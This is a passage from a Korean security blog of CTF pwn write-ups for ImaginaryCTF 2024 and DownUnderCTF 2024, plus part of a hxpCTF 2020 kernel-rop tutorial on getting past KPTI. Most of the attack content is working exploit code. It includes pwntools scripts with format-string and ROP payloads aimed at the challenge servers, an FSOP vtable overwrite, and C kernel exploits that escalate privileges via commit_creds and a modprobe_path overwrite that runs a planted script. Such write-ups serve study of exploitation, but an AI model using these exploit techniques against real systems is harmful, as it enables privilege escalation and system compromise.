    puts("Wrong username or password");
    printf("\x1B[0m");
  }
  else
  {
    printf("\x1B[1;31m");
    puts("You are already logged in");
    printf("\x1B[0m");
  }
  return v4 - __readfsqword(0x28u);
}

unsigned __int64 view_desc()
{
  char s[312]; // [rsp+0h] [rbp-140h] BYREF
  unsigned __int64 v2; // [rsp+138h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  if ( (unsigned int)uid < 0xFFFFFFFE )
  {
    qmemcpy(s, user_info[uid].desc, 0x131uLL);
    if ( strchr(s, '$') )
    {
      puts("fr!? what is this description dude??");
    }
    else
    {
      printf("The description for: ");
      printf(user_info[uid].username);
      printf(" is: ");
      printf(s);
      putchar(0xA);
    }
  }
  else
  {
    printf("\x1B[1;31m");
    puts("You need to be logged in to see the description");
    printf("\x1B[0m");
  }
  return v2 - __readfsqword(0x28u);
}

strcmp는 길이 제한이 없어서 하나만 입력해 1번째 문자와 동일하면 true를 받을 수 있다.

그렇게 fsb와 rop로 연계시켜주면 된다.

(full relro라서 got overwrite 불가능)

ImaginaryCTF 2024 (Pwn)

ssongk — Mon, 22 Jul 2024 23:01:32 +0900

시간 날 때 포너블 문제 구경했고 3개 풀었다

[ solved ]

pwn / imgstore

바이너리는 좀 긴데 리네이밍하면서 보니 취약한 부분은 한정되어 있었다.

3번 메뉴인 sell 함수에서 fsb 트리거할 수 있고

feedbeef 조건 맞춰주면 bof를 트리거할 수 있다.

근데 bof는 트리거 해도 fgets가 작동을 안한다.

(왜 그런진 모르겠음)

그래서 그냥 리턴 주소를 원가젯으로 덮어서 쉘 땄다.

unsigned __int64 sell()
{
  char v1; // [rsp+7h] [rbp-59h] BYREF
  int buf; // [rsp+8h] [rbp-58h] BYREF
  int fd; // [rsp+Ch] [rbp-54h]
  char title[72]; // [rsp+10h] [rbp-50h] BYREF
  unsigned __int64 v5; // [rsp+58h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  fd = open("/dev/urandom", 0);
  read(fd, &buf, 4uLL);
  close(fd);
  buf = (unsigned __int16)buf;
  do
  {
    printf("Enter book title: ");
    fgets(title, 0x32, stdin);
    printf("Book title --> ");
    printf(title);                              // fsb
    puts(&s);
    if ( 0x13F5C223 * buf == feedbeef )
    {
      dword_608C = 2;
      bof(2);
    }
    puts("Sorry, we already have the same title as yours in our database; give me another book title.");
    printf("Still interested in selling your book? [y/n]: ");
    __isoc99_scanf("%1c", &v1);
    getchar();
  }
  while ( v1 == 'y' );
  puts(&s);
  printf("%s[-] Exiting program..%s\n", "\x1B[31m", "\x1B[0m");
  sleep(1u);
  return __readfsqword(0x28u) ^ v5;
}

unsigned __int64 __fastcall bof(int a1)
{
  char s[104]; // [rsp+10h] [rbp-70h] BYREF
  unsigned __int64 v3; // [rsp+78h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  logo2();
  if ( a1 == 2 )
  {
    printf("%s[/] UNDER DEVELOPMENT %s\n", "\x1B[44m", "\x1B[0m");
    putchar('>');
    fgets(s, 0xA0, stdin);                      // bof
  }
  else
  {
    printf("%s[!] SECURITY BREACH DETECTED%s\n", "\x1B[41m", "\x1B[0m");
    puts("[+] BAD HACKER!!");
  }
  return __readfsqword(0x28u) ^ v3;
}

from pwn import *

# context.log_level = 'debug'
context.arch = 'amd64'

def sell(title):
	p.sendlineafter(b'title:',title)
	p.recvuntil(b'Book title --> ')
	data = p.recvline()[:-1]
	p.sendlineafter(b'[y/n]: ',b'y')
	return data

p = process('./imgstore')
p = remote('imgstore.chal.imaginaryctf.org', 1337)
p.sendlineafter(b'>> ',b'3')

stack = int(sell(b'%15$p'),16)
print('stack', hex(stack))

canary = int(sell(b'%17$p'),16)
print('canary', hex(canary))

libc = int(sell(b'%25$p'),16) - 0x24083
print('libc', hex(libc))
one = [0xe3afe,0xe3b01,0xe3b04]
og = libc + one[1]

magic = int(sell(b'%7$p'),16) & 0xffffffff
magic *= 0x13F5C223
print('magic', hex(magic))

pie = int(sell(b'%14$p'),16) - 0x22b0
print('pie', hex(pie))

sell(fmtstr_payload(8, {stack-0x18:og&0xff}, write_size='byte'))
sell(fmtstr_payload(8, {stack-0x17:(og>>8)&0xff}, write_size='byte'))
sell(fmtstr_payload(8, {stack-0x16:(og>>16)&0xff}, write_size='byte'))
sell(fmtstr_payload(8, {stack-0x15:(og>>24)&0xff}, write_size='byte'))
sell(fmtstr_payload(8, {stack-0x14:(og>>32)&0xff}, write_size='byte'))
sell(fmtstr_payload(8, {stack-0x13:(og>>40)&0xff}, write_size='byte'))

p.sendlineafter(b'title:',b'title')
p.sendlineafter(b'[y/n]: ',b'n')

p.interactive()

pwn / ropity

fgets를 한 번만 할 수 있다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[8]; // [rsp+8h] [rbp-8h] BYREF

  return (unsigned int)fgets(s, 0x100, _bss_start);
}

문제 설명에 플래그 파일 이름이 "flag.txt"인 것을 알려줬고 printfile이라는 함수가 있는 것으로 보아

이걸 이용해 플래그를 읽어내야 함을 추측할 수 있다.

signed __int64 __fastcall printfile(const char *a1, __int64 a2, int a3)
{
  int v3; // esi
  size_t v4; // r10

  v3 = sys_open(a1, 0, a3);
  return sys_sendfile(1, v3, 0LL, v4);
}

두 함수의 어셈을 보면서 문제를 풀었다.

.text:0000000000401136                 public main
.text:0000000000401136 main            proc near               ; DATA XREF: _start+18↑o
.text:0000000000401136
.text:0000000000401136 s               = byte ptr -8
.text:0000000000401136
.text:0000000000401136 ; __unwind {
.text:0000000000401136                 endbr64
.text:000000000040113A                 push    rbp
.text:000000000040113B                 mov     rbp, rsp
.text:000000000040113E                 sub     rsp, 10h
.text:0000000000401142                 mov     rdx, cs:__bss_start ; stream
.text:0000000000401149                 lea     rax, [rbp+s]
.text:000000000040114D                 mov     esi, 100h       ; n
.text:0000000000401152                 mov     rdi, rax        ; s
.text:0000000000401155                 call    _fgets
.text:000000000040115A                 nop
.text:000000000040115B                 leave
.text:000000000040115C                 retn

.text:000000000040115D                 public printfile
.text:000000000040115D printfile       proc near
.text:000000000040115D
.text:000000000040115D var_8           = qword ptr -8
.text:000000000040115D
.text:000000000040115D ; __unwind {
.text:000000000040115D                 endbr64
.text:0000000000401161                 push    rbp
.text:0000000000401162                 mov     rbp, rsp
.text:0000000000401165                 mov     [rbp+var_8], rdi
.text:0000000000401169                 mov     rax, 2
.text:0000000000401170                 mov     rsi, 0          ; flags
.text:0000000000401177                 syscall                 ; LINUX - sys_open
.text:0000000000401179                 mov     rsi, rax        ; in_fd
.text:000000000040117C                 mov     rdi, 1          ; out_fd
.text:0000000000401183                 mov     rdx, 0          ; offset
.text:000000000040118A                 mov     r8, 100h
.text:0000000000401191                 mov     rax, 28h ; '('
.text:0000000000401198                 syscall                 ; LINUX - sys_sendfile
.text:000000000040119A                 nop
.text:000000000040119B                 pop     rbp
.text:000000000040119C                 retn

스탯 피봇팅으로 got overwrite를 수행해서 fgets를 printfile 함수 중간으로 바꿔서 문제를 풀었다.

from pwn import *

# context.log_level = 'debug'

# p = process('./vuln')
p = remote('ropity.chal.imaginaryctf.org', 1337)

main = 0x401142
printfile = 0x401165

pay = b'A'*8 + p64(0x404020) + p64(main)
p.sendline(pay)

pay = p64(printfile+4) + p64(0x404038) + p64(0x401149) + b'flag.txt\x00'
p.sendline(pay)

p.interactive()

pwn / onewrite

한 번만 쓸 수 있고 2.35이면서 full relro 보호기법이라서 뭔가 fsop인 것 같긴했다.

pwn.college에서 실습했던 _io_wfile_vtable을 오버라이트하는 방법으로 익스했다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *s; // [rsp+0h] [rbp-10h] BYREF
  unsigned __int64 v6; // [rsp+8h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  setbuf(stdin, 0LL);
  setbuf(_bss_start, 0LL);
  printf("%p\n> ", &printf);
  __isoc99_scanf("%p%*c", &s);
  fgets(s, 0x300, stdin);
  puts("bye");
  return v6 - __readfsqword(0x28u);
}

원가젯 조건 안맞아서 system 함수 써야 했는데 rdi 인자로 들어가는 부분이 flag 필드다.

"/bin/sh"로 하니까 세그 폴트 나버려서 어떻게 할지 고민하다가

다른 씨텝 라업 보다가 " sh"로 문자열 앞에 공백을 주는 것을 보고 그대로 적용했는데 쉘 따져서 신기했다.

from pwn import *

# p = process('./vuln')
libc = ELF('./libc.so.6')
p = remote('onewrite.chal.imaginaryctf.org', 1337)

p.recvline()
printf = int(p.recvline()[:-1],16)

libc_base = printf - libc.symbols['printf']
target = libc_base + libc.symbols['_IO_2_1_stdout_']
print('[stdout]',hex(target))

# gdb.attach(p)
# pause()

p.sendlineafter(b'>',hex(target))

io_wfile_jumps = libc_base + libc.symbols['_IO_wfile_jumps']
io_wfile_overflow = io_wfile_jumps + 0x18
fake_vtable = io_wfile_overflow - 0x38
print('[libc_base]',hex(libc_base))
print('[fake_vtable]',hex(fake_vtable))

one = [0xebcf1,0xebcf5,0xebcf8,0xebd52,0xebda8,0xebdaf,0xebdb3]
og = libc_base + one[0]
print('[og]',hex(og))

system = libc_base + libc.symbols['system']

pay = b' sh'+b'\x00'*5
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(target+0x80)
pay += p64(0)*2
pay += p64(target)
pay += p64(0)*6
pay += p64(fake_vtable)
pay += p64(target+0x80)
pay += p64(system)

p.sendline(pay)
p.interactive()

[ unsolved ]

나머진 라업 보고 작성을 할 수도 안 할 수도..

DownUnderCTF 2024 (Pwn)

ssongk — Mon, 8 Jul 2024 23:32:36 +0900

오랜만에 해서 그런가 감 다 떨어졌네..

[ solved ]

pwn / vector overflow

#include <cstdlib>
#include <iostream>
#include <string>
#include <vector>

char buf[16];
std::vector<char> v = {'X', 'X', 'X', 'X', 'X'};

void lose() {
    puts("Bye!");
    exit(1);
}

void win() {
    system("/bin/sh");
    exit(0);
}

int main() {
    char ductf[6] = "DUCTF";
    char* d = ductf;

    std::cin >> buf;
    if(v.size() == 5) {
        for(auto &c : v) {
            if(c != *d++) {
                lose();
            }
        }

        win();
    }

    lose();
}

대충 디버거로 보고 벡터 v의 주소를 바꿔줬다.

buf+5는 디버깅할 때 보니 주소에 +5한 값들이 있길래 맞춰줬다.

from pwn import *

p = process('./vector_overflow')
p = remote('2024.ductf.dev', 30013)

buf = 0x4051e0

p.sendline(b'DUCTF\x00'.ljust(16,b'\x00') + p64(buf) + p64(buf+5) + p64(buf+5))
p.interactive()

pwn / yawa

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void init() {
    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);
}

int menu() {
    int choice;
    puts("1. Tell me your name");
    puts("2. Get a personalised greeting");
    printf("> ");
    scanf("%d", &choice);
    return choice;
}

int main() {
    init();

    char name[88];
    int choice;

    while(1) {
        choice = menu();
        if(choice == 1) {
            read(0, name, 0x88);
        } else if(choice == 2) {
            printf("Hello, %s\n", name);
        } else {
            break;
        }
    }
}

간단한 bof 문제로 원샷 가젯 이용했다.

from pwn import *

# p = process('./yawa')
p = remote('2024.ductf.dev', 30010)

def read_name(data):
	p.sendlineafter(b'>',b'1')
	p.send(data)

def print_name():
	p.sendlineafter(b'>',b'2')

read_name(b'A'*89)
print_name()
p.recvuntil(b'A'*89)
canary = u64(b'\x00'+p.recvn(7))
print('[canary]',hex(canary))

read_name(b'A'*104)
print_name()
p.recvuntil(b'A'*104)
libc = u64(p.recvn(6)+b'\x00'*2) - 0x29d90
print('[libc]',hex(libc))

rw_area = libc + 0x21a380
og = libc + 0xebc88
read_name(b'A'*88 + p64(canary) + p64(rw_area) + p64(og))

p.sendlineafter(b'>',b'0')

p.interactive()

[ unsolved ]

pwn / sign in

거의 다 풀었는데 마지막에 발상의 전환을 못해서 못 푼 문제..

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/random.h>

typedef struct {
    long uid;
    char username[8];
    char password[8];
} user_t;

typedef struct user_entry user_entry_t;
struct user_entry {
    user_t* user;
    user_entry_t* prev;
    user_entry_t* next;
};

user_entry_t user_list;
long UID = 1;

void init() {
    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);
}

int menu() {
    int choice;
    puts("1. Sign up");
    puts("2. Sign in");
    puts("3. Remove account");
    puts("4. Get shell");
    printf("> ");
    scanf("%d", &choice);
    return choice;
}

void sign_up() {
    user_t* user = malloc(sizeof(user_t));
    user_entry_t* entry = malloc(sizeof(user_entry_t));
    user->uid = UID++;
    printf("username: ");
    read(0, user->username, 8);
    printf("password: ");
    read(0, user->password, 8);
    entry->user = user;

    user_entry_t* curr = &user_list;
    while(curr->next) {
        curr = curr->next;
    }
    entry->prev = curr;
    curr->next = entry;
}

void remove_account(int uid) {
    user_entry_t* curr = &user_list;
    do {
        if(curr->user->uid == uid) {
            if(curr->prev) {
                curr->prev->next = curr->next;
            }
            if(curr->next) {
                curr->next->prev = curr->prev;
            }
            free(curr->user);
            free(curr);
            break;
        }
        curr = curr->next;
    } while(curr);
}

long sign_in() {
    char username[9] = {0};
    char password[9] = {0};
    printf("username: ");
    read(0, username, 8);
    printf("password: ");
    read(0, password, 8);
    user_entry_t* curr = &user_list;
    do {
        if(memcmp(curr->user->username, username, 8) == 0 && memcmp(curr->user->password, password, 8) == 0) {
            printf("Logging in as %s\n", username);
            return curr->user->uid;
        }
        curr = curr->next;
    } while(curr);
    return -1;
}

int main() {
    init();

    long uid = -1;
    user_t root = {
        .uid = 0,
        .username = "root",
    };
    if(getrandom(root.password, 8, 0) != 8) {
        exit(1);
    }

    user_list.next = NULL;
    user_list.prev = NULL;
    user_list.user = &root;

    while(1) {
        int choice = menu();
        if(choice == 1) {
            sign_up();
        } else if(choice == 2) {
            uid = sign_in();
            if(uid == -1) {
                puts("Invalid username or password!");
            }
        } else if(choice == 3) {
            if(uid == -1) {
                puts("Please sign in first!");
            } else {
                remove_account(uid);
                uid = -1;
            }
        } else if(choice == 4) {
            if(uid == 0) {
                system("/bin/sh");
            } else {
                puts("Please sign in as root first!");
            }
        } else {
            exit(1);
        }
    }
}

구조체 2개가 멤버까지 동일한 사이즈이다.

해제하는 순서와 할당받는 순서가 다르기 때문에 password가 next로 되는 상황이 발생한다.

이를 이용해서 next가 가리키는 곳이 0을 가리키는 포인터가 된다면 uid를 0으로 만들 수 있겠다.

gef의 dump memory를 사용해서 바이너리에 존재하는 포인터들을 싹 확인해준다.

dump memory <output_file_name> <start_address> <end_address>

dump memory bin_dump 0x0000000000400000 0x0000000000405000

덤프 뜬 부분에서 0을 가리키는 포인터를 찾아준다.

from pwn import *

f = open('./bin_dump','rb')
data = f.read()
f.close()

for i in range(0,len(data),8):
	value = u64(data[i:i+8])
	if 0x400000 <= value <= 0x405000:
		if u64(data[value-0x400000:value-0x400000+8]) == 0:
			print(hex(i),hex(value))

from pwn import *

# context.log_level = 'debug'

p = process('./sign-in')
p = remote('2024.ductf.dev', 30022)

def Signup(username,password):
	p.sendlineafter(b'>',b'1')
	p.sendafter(b'username',username)
	p.sendafter(b'password',password)

def Signin(username,password):
	p.sendlineafter(b'>',b'2')
	p.sendafter(b'username',username)
	p.sendafter(b'password',password)

def Remove():
	p.sendlineafter(b'>',b'3')

def Shell():
	p.sendlineafter(b'>',b'4')

user_list = 0x4040b0

Signup(b'z'*8,p64(0x403eb8))
Signin(b'z'*8,p64(0x403eb8))
Remove()

Signup(b'a'*8,b'a'*8)

Signin(p64(0),p64(0))
Shell()
p.interactive()

(나머지는 열어보지도 못했어서 시간 날 때 라업 보면서 풀어볼 예정)

https://github.com/DownUnderCTF/Challenges_2024_Public

GitHub - DownUnderCTF/Challenges_2024_Public: Files + Solutions for DownUnderCTF 2024 Challenges

Files + Solutions for DownUnderCTF 2024 Challenges - DownUnderCTF/Challenges_2024_Public

github.com

[hxpCTF 2020] kernel-rop (with write-up) (2)

ssongk — Sun, 30 Jun 2024 19:29:57 +0900

지난 글(https://ssongkit.tistory.com/820)에 이어 남은 보호 기법인 KPTI, KASLR, FG-KASLR을 우회하는 방법을 배워보자.

1-1. Bypass KPTI: KPTI trampoline

KTPI를 우회하는 방법 3가지를 공부해보자. 첫 번째는 KPTI trampoline이라고 부르는 기술이다. 커널에 빌트인으로 존재하는 기능이기 때문에 주로 쓰인다고 한다. 심볼 이름은 "swapgs_restore_regs_and_return_to_usermode"이다. 다음과 같이 주소를 검색한 뒤 vmlinux로 확인해보면 다음과 같다.

/ # cat /proc/kallsyms | grep  swapgs_restore_regs_and_return_to_usermode
ffffffff81200f10 T swapgs_restore_regs_and_return_to_usermode

pop을 엄청 많이 하는 코드가 있는데 이 부분은 중요하지 않으므로 swapgs_restore_regs_and_return_to_usermode + 22(0x14)부터 사용해주면 된다.

.text:FFFFFFFF81200F10                 pop     r15
.text:FFFFFFFF81200F12                 pop     r14
.text:FFFFFFFF81200F14                 pop     r13
.text:FFFFFFFF81200F16                 pop     r12
.text:FFFFFFFF81200F18                 pop     rbp
.text:FFFFFFFF81200F19                 pop     rbx
.text:FFFFFFFF81200F1A                 pop     r11
.text:FFFFFFFF81200F1C                 pop     r10
.text:FFFFFFFF81200F1E                 pop     r9
.text:FFFFFFFF81200F20                 pop     r8
.text:FFFFFFFF81200F22                 pop     rax
.text:FFFFFFFF81200F23                 pop     rcx
.text:FFFFFFFF81200F24                 pop     rdx
.text:FFFFFFFF81200F25                 pop     rsi
.text:FFFFFFFF81200F26                 mov     rdi, rsp
.text:FFFFFFFF81200F29                 mov     rsp, qword ptr gs:unk_6004
.text:FFFFFFFF81200F32                 push    qword ptr [rdi+30h]
.text:FFFFFFFF81200F35                 push    qword ptr [rdi+28h]
.text:FFFFFFFF81200F38                 push    qword ptr [rdi+20h]
.text:FFFFFFFF81200F3B                 push    qword ptr [rdi+18h]
.text:FFFFFFFF81200F3E                 push    qword ptr [rdi+10h]
.text:FFFFFFFF81200F41                 push    qword ptr [rdi]
.text:FFFFFFFF81200F43                 push    rax
.text:FFFFFFFF81200F44                 jmp     short loc_FFFFFFFF81200F89

이후 swapgs와 iretq를 수행한다.

.text:FFFFFFFF81200F89 loc_FFFFFFFF81200F89:                   ; CODE XREF: sub_FFFFFFFF812010D0-18C↑j
.text:FFFFFFFF81200F89                 pop     rax
.text:FFFFFFFF81200F8A                 pop     rdi
.text:FFFFFFFF81200F8B                 call    cs:off_FFFFFFFF82040088
.text:FFFFFFFF81200F91                 jmp     cs:off_FFFFFFFF82040080

.text.native_swapgs:FFFFFFFF8146D4E0 sub_FFFFFFFF8146D4E0 proc near          ; CODE XREF: sub_FFFFFFFF8100A540+E↑p
.text.native_swapgs:FFFFFFFF8146D4E0                                         ; sub_FFFFFFFF8100A570+17↑p ...
.text.native_swapgs:FFFFFFFF8146D4E0                 push    rbp
.text.native_swapgs:FFFFFFFF8146D4E1                 mov     rbp, rsp
.text.native_swapgs:FFFFFFFF8146D4E4                 swapgs
.text.native_swapgs:FFFFFFFF8146D4E7                 pop     rbp
.text.native_swapgs:FFFFFFFF8146D4E8                 retn
.text.native_swapgs:FFFFFFFF8146D4E8 sub_FFFFFFFF8146D4E0 endp

.text:FFFFFFFF81200FC0                 test    byte ptr [rsp+arg_18], 4
.text:FFFFFFFF81200FC5                 jnz     short loc_FFFFFFFF81200FC9
.text:FFFFFFFF81200FC7
.text:FFFFFFFF81200FC7 locret_FFFFFFFF81200FC7:                ; CODE XREF: sub_FFFFFFFF81200FC0+BD↓j
.text:FFFFFFFF81200FC7                                         ; DATA XREF: sub_FFFFFFFF8100A930:loc_FFFFFFFF8100A9D0↑o ...
.text:FFFFFFFF81200FC7                 iretq

이제 run.sh에서 KPTI를 적용시키고 우회할 수 있다.

#!/bin/sh
qemu-system-x86_64 \
    -m 256M \
    -cpu kvm64,+smap,+smep \
    -kernel vmlinuz \
    -initrd initramfs.cpio.gz \
    -hdb flag.txt \
    -snapshot \
    -nographic \
    -monitor /dev/null \
    -no-reboot \
    -append "console=ttyS0 nokaslr kpti=1 quiet panic=1" \
    -s

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stdint.h>

uint64_t user_cs, user_ss, user_rflags, user_sp;
uint64_t prepare_kernel_cred = 0xffffffff814c67f0;
uint64_t commit_creds = 0xffffffff814c6410;
uint64_t mov_rdi_rax_pop1 = 0xffffffff8100aedf;
uint64_t pop_rdi = 0xffffffff81006370;
uint64_t swapgs_pop1 = 0xffffffff8100a55f;
uint64_t iretq = 0xffffffff8100c0d9;
uint64_t kpti_trampoline = 0xffffffff81200f26;	

void shell(){
    system("/bin/sh");
}

int main(void) {
    uint64_t leak[0x18];
    uint64_t pay[0x28];
    uint64_t canary;
    uint64_t leak_addr;

    int fd = open("/dev/hackme", O_RDWR);    
    printf("fd: %d\n",fd);

    read(fd,leak,sizeof(leak));

    canary = leak[0x10];
    printf("canary: %llx\n",canary);

    for(int i=0; i<sizeof(pay)/8; i++){
				pay[i] = 0x4141414141414141;
    }

    __asm__(".intel_syntax noprefix;"
            "mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
	    ".att_syntax;");

    uint64_t user_rip = (uint64_t) shell;
    int idx = 0x10;
    pay[idx++] = canary;
    pay[idx++] = 0x0; // rbx
    pay[idx++] = 0x0; // r12
    pay[idx++] = 0x0; // rbp
    pay[idx++] = pop_rdi; // ret
    pay[idx++] = 0x0;
    pay[idx++] = prepare_kernel_cred;
    pay[idx++] = mov_rdi_rax_pop1;
    pay[idx++] = 0x0;
    pay[idx++] = commit_creds;
    pay[idx++] = kpti_trampoline;
    pay[idx++] = 0x0;
    pay[idx++] = 0x0;
    pay[idx++] = user_rip;
    pay[idx++] = user_cs;
    pay[idx++] = user_rflags;
    pay[idx++] = user_sp;
    pay[idx++] = user_ss;

    for(int i = 0; i<sizeof(pay)/8; i++){
        printf("0x%016llx\n",pay[i]);
    }

    write(fd,pay,sizeof(pay));

    return 0;
}

1-2. Bypass KPTI: sigaction

두 번째 방법은 sigaction 구조체를 활용하는 것이다. SMAP & SMEP를 우회하는 익스플로잇 코드를 KPTI를 적용한 뒤 실행하면 접근할 수 없는 커널 페이지에 접근하면서 세그먼테이션 폴트가 발생한다. 이렇게 발생하는 SIGSEGV 신호를 처리하는 핸들러 함수를 등록할 수 있다. sigaction 구조체는 다음과 같다.

struct sigaction {
   void     (*sa_handler)(int);
   void     (*sa_sigaction)(int, siginfo_t *, void *);
   sigset_t   sa_mask;
   int        sa_flags;
   void     (*sa_restorer)(void);
};

sigaction 함수는 다음과 같다. 탐지할 시그널과 동작할 sigaction 구조체를 등록하는 방식이다.

#include <signal.h>

int sigaction(int signum,
             const struct sigaction *_Nullable restrict act,
             struct sigaction *_Nullable restrict oldact);

두 번째 방법을 적용시킨 익스 코드는 다음과 같다. sigemptyset 함수는 등록된 시그널들을 초기화 시켜주는 역할을 한다. 레퍼런스에 있어서 써봤는데 없어도 문제 없이 쉘이 잘 따진다.

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stdint.h>
#include <signal.h>

uint64_t user_cs, user_ss, user_rflags, user_sp;
uint64_t prepare_kernel_cred = 0xffffffff814c67f0;
uint64_t commit_creds = 0xffffffff814c6410;
uint64_t mov_rdi_rax_pop1 = 0xffffffff8100aedf;
uint64_t pop_rdi = 0xffffffff81006370;
uint64_t swapgs_pop1 = 0xffffffff8100a55f;
uint64_t iretq = 0xffffffff8100c0d9;

void shell(){
    system("/bin/sh");
}

int main(void) {
    struct sigaction sigact;
    sigact.sa_handler = shell;
    sigemptyset(&sigact.sa_mask);
    sigact.sa_flags = 0;
    sigaction(SIGSEGV, &sigact, NULL);

    uint64_t leak[0x30];
    uint64_t pay[0x28];
    uint64_t canary;
    uint64_t leak_addr;

    int fd = open("/dev/hackme", O_RDWR);    
    printf("fd: %d\n",fd);

    read(fd,leak,sizeof(leak));

    for(int i = 0; i<sizeof(leak)/8; i++){
        printf("0x%016llx\n",leak[i]);
    }
    
    canary = leak[0x10];
    printf("canary: %llx\n",canary);

    for(int i=0; i<sizeof(pay)/8; i++){
		pay[i] = 0x4141414141414141;
    }

    __asm__(".intel_syntax noprefix;"
            "mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
	    ".att_syntax;");

    uint64_t user_rip = (uint64_t) shell;
    int idx = 0x10;
    pay[idx++] = canary;
    pay[idx++] = 0x0; // rbx
    pay[idx++] = 0x0; // r12
    pay[idx++] = 0x0; // rbp
    pay[idx++] = pop_rdi; // ret
    pay[idx++] = 0x0;
    pay[idx++] = prepare_kernel_cred;
    pay[idx++] = mov_rdi_rax_pop1;
    pay[idx++] = 0x0;
    pay[idx++] = commit_creds;
    pay[idx++] = swapgs_pop1;
    pay[idx++] = 0x0;
    pay[idx++] = iretq;
    pay[idx++] = user_rip;
    pay[idx++] = user_cs;
    pay[idx++] = user_rflags;
    pay[idx++] = user_sp;
    pay[idx++] = user_ss;

    write(fd,pay,sizeof(pay));

    return 0;
}

1-3. Bypass KPTI: modprobe

세 번째 방법은 modprobe를 사용한다. modprobe는 원래 Rusty Russell이 작성한 Linux 프로그램으로 Linux 커널에 로드 가능한 커널 모듈을 추가하거나 커널에서 로드 가능한 커널 모듈을 제거하는 데 사용된다. 즉, Linux 커널에 새 모듈을 설치하거나 제거할 때 실행되는 프로그램이다. 해당 경로는 커널 전역 변수이며 기본값은 /sbin/modprobe이다.

/ # cat /proc/sys/kernel/modprobe
/sbin/modprobe

기본적으로 modprobe의 경로는 커널 자체의 modprobe_path 심볼 아래에 저장되며 쓰기 가능한 페이지에도 저장된다.

/ # cat /proc/kallsyms | grep modprobe_path
ffffffff82061820 D modprobe_path

만약 알 수 없는 파일 형식의 파일을 실행하면, modprobe_path에 경로가 저장된 프로그램이 실행된다. 정확히는 시스템에서 파일 시그니처(매직 헤더)을 알 수 없는 파일에 대해 execve()를 호출하면 다음의 과정을 거처 modprobe를 호출한다.

do_execve()
do_execveat_common()
bprm_execve()
exec_binprm()
search_binary_handler()
request_module()
call_modprobe()

이 방법은 FG-KASLR에 영향을 받지 않기 때문에 강력하다고 한다. modprobe_path를 오버라이트하기 위해 다음과 같은 가젯들을 찾아준다.

$ cat gadget | grep -E "0xffffffff8100.* mov .*qword ptr.*\[(rax|rbx|rcx|rdx)\].*ret"
0xffffffff8100306d : mov qword ptr [rbx], rax ; pop rbx ; pop rbp ; ret
0xffffffff81007ffc : mov qword ptr [rcx], rax ; xor eax, eax ; nop ; nop ; nop ; ret
0xffffffff81007ffb : nop ; mov qword ptr [rcx], rax ; xor eax, eax ; nop ; nop ; nop ; ret

$ cat gadget | grep -E "0xffffffff8100.* pop rbx ; ret"
...
0xffffffff81006158 : pop rbx ; ret
...

$ cat gadget | grep -E "0xffffffff8100.* pop rax ; ret"
0xffffffff81004d11 : pop rax ; ret
0xffffffff81004d10 : pushfq ; pop rax ; ret

세 번째 방법을 적용한 익스플로잇 코드는 다음과 같다. nokaslr을 kaslr으로 바꿔서 해도 잘 된다.

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stdint.h>
#include <signal.h>

uint64_t user_cs, user_ss, user_rflags, user_sp;

void get_flag(){
    system("echo '#!/bin/sh\ncp /dev/sda /tmp/flag\nchmod 777 /tmp/flag' > /tmp/x");
    system("chmod +x /tmp/x");

    system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
    system("chmod +x /tmp/dummy");

    system("/tmp/dummy");
    system("cat /tmp/flag");
    exit(0);
}

int main(void) {
    uint64_t leak[0x30];
    uint64_t pay[0x28];
    uint64_t canary;
    uint64_t leak_addr;
    uint64_t linux_base;
    
    int fd = open("/dev/hackme", O_RDWR);    
    printf("fd: %d\n",fd);

    read(fd,leak,sizeof(leak));

    leak_addr = leak[0x26];
    linux_base = leak_addr - 0xa157;
    printf("linux_base: %llx\n",linux_base);

    uint64_t kpti_trampoline = linux_base + 0x200f10 + 22;
    uint64_t modprobe_path = linux_base + 0x1061820;
    uint64_t pop_rax = linux_base + 0x4d11;
    uint64_t pop_rbx = linux_base + 0x6158;
    uint64_t mov_rbxptr_rax_pop2 = linux_base + 0x306d;

    canary = leak[0x10];
    printf("canary: %llx\n",canary);

    for(int i=0; i<sizeof(pay)/8; i++){
	pay[i] = 0x4141414141414141;
    }

    __asm__(".intel_syntax noprefix;"
            "mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
	    ".att_syntax;");

    uint64_t user_rip = (uint64_t) get_flag;

    int idx = 0x10;
    pay[idx++] = canary;
    pay[idx++] = 0x0; // rbx
    pay[idx++] = 0x0; // r12
    pay[idx++] = 0x0; // rbp
    pay[idx++] = pop_rax; // ret
    pay[idx++] = 0x782f706d742f; // /tmp/x
    pay[idx++] = pop_rbx;
    pay[idx++] = modprobe_path;
    pay[idx++] = mov_rbxptr_rax_pop2; 
    pay[idx++] = 0x0;
    pay[idx++] = 0x0;
    pay[idx++] = kpti_trampoline;
    pay[idx++] = 0x0;
    pay[idx++] = 0x0;
    pay[idx++] = user_rip;
    pay[idx++] = user_cs;
    pay[idx++] = user_rflags;
    pay[idx++] = user_sp;
    pay[idx++] = user_ss;

    write(fd,pay,sizeof(pay));

    return 0;
}

2. Bypass KASLR & FG-KASLR

